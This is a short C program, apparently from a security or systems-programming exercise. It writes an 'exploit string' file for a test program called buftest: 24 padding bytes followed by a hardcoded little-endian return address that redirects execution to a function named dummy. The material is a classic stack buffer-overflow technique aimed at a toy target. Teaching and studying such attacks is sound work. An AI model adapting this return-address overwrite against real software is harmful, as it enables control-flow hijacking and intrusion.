#include <stdio.h>

// Creates an exploit string for buftest.

int main() {

  FILE* fp = fopen("exploit.txt", "w");

  int i;
  for (i = 0; i < 24; i++) {
    // first, overwrite the buffer and extra
    // stack space with arbitrary data
    putc(0, fp);
  }

  // now write the return address of dummy
  // in little-endian order.

  putc(0x7d, fp);
  putc(0x05, fp);
  putc(0x40, fp);
  putc(0, fp);
  putc(0, fp);
  putc(0, fp);
  putc(0, fp);
  putc(0, fp);

  fclose(fp);
  return 0;
}